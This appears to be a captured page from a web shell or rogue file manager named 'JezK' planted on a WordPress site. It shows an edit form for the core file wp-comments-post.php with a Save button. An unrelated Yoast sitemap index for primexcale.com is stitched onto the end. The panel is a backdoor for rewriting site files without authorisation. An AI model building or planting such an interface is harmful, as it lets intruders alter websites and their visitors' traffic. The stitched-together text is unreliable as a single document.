
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: wp-comments-post.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
/**
 * Handles Comment Post to WordPress and prevents duplicate comment posting.
 *
 * @package WordPress
 */

if ( &#039;POST&#039; !== $_SERVER[&#039;REQUEST_METHOD&#039;] ) {
	$protocol = $_SERVER[&#039;SERVER_PROTOCOL&#039;];
	if ( ! in_array( $protocol, array( &#039;HTTP/1.1&#039;, &#039;HTTP/2&#039;, &#039;HTTP/2.0&#039;, &#039;HTTP/3&#039; ), true ) ) {
		$protocol = &#039;HTTP/1.0&#039;;
	}

	header( &#039;Allow: POST&#039; );
	header( &quot;$protocol 405 Method Not Allowed&quot; );
	header( &#039;Content-Type: text/plain&#039; );
	exit;
}

/** Sets up the WordPress Environment. */
require __DIR__ . &#039;/wp-load.php&#039;;

nocache_headers();

$comment = wp_handle_comment_submission( wp_unslash( $_POST ) );
if ( is_wp_error( $comment ) ) {
	$data = (int) $comment-&gt;get_error_data();
	if ( ! empty( $data ) ) {
		wp_die(
			&#039;&lt;p&gt;&#039; . $comment-&gt;get_error_message() . &#039;&lt;/p&gt;&#039;,
			__( &#039;Comment Submission Failure&#039; ),
			array(
				&#039;response&#039;  =&gt; $data,
				&#039;back_link&#039; =&gt; true,
			)
		);
	} else {
		exit;
	}
}

$user            = wp_get_current_user();
$cookies_consent = ( isset( $_POST[&#039;wp-comment-cookies-consent&#039;] ) );

/**
 * Fires after comment cookies are set.
 *
 * @since 3.4.0
 * @since 4.9.6 The `$cookies_consent` parameter was added.
 *
 * @param WP_Comment $comment         Comment object.
 * @param WP_User    $user            Comment author&#039;s user object. The user may not exist.
 * @param bool       $cookies_consent Comment author&#039;s consent to store cookies.
 */
do_action( &#039;set_comment_cookies&#039;, $comment, $user, $cookies_consent );

$location = empty( $_POST[&#039;redirect_to&#039;] ) ? get_comment_link( $comment ) : $_POST[&#039;redirect_to&#039;] . &#039;#comment-&#039; . $comment-&gt;comment_ID;

// If user didn&#039;t consent to cookies, add specific query arguments to display the awaiting moderation message.
if ( ! $cookies_consent &amp;&amp; &#039;unapproved&#039; === wp_get_comment_status( $comment ) &amp;&amp; ! empty( $comment-&gt;comment_author_email ) ) {
	$location = add_query_arg(
		array(
			&#039;unapproved&#039;      =&gt; $comment-&gt;comment_ID,
			&#039;moderation-hash&#039; =&gt; wp_hash( $comment-&gt;comment_date_gmt ),
		),
		$location
	);
}

/**
 * Filters the location URI to send the commenter after posting.
 *
 * @since 2.0.5
 *
 * @param string     $location The &#039;redirect_to&#039; URI sent via $_POST.
 * @param WP_Comment $comment  Comment object.
 */
$location = apply_filters( &#039;comment_post_redirect&#039;, $location, $comment );

wp_safe_redirect( $location );
exit;
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//primexcale.com/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://primexcale.com/post-sitemap.xml</loc>
		<lastmod>2026-08-25T12:07:05+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://primexcale.com/page-sitemap.xml</loc>
		<lastmod>2026-08-19T08:52:46+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://primexcale.com/web-story-sitemap.xml</loc>
		<lastmod>2026-02-10T11:48:04+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://primexcale.com/category-sitemap.xml</loc>
		<lastmod>2026-08-25T12:07:05+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://primexcale.com/post_tag-sitemap.xml</loc>
		<lastmod>2026-06-09T10:08:47+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://primexcale.com/author-sitemap.xml</loc>
		<lastmod>2026-02-11T10:01:11+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->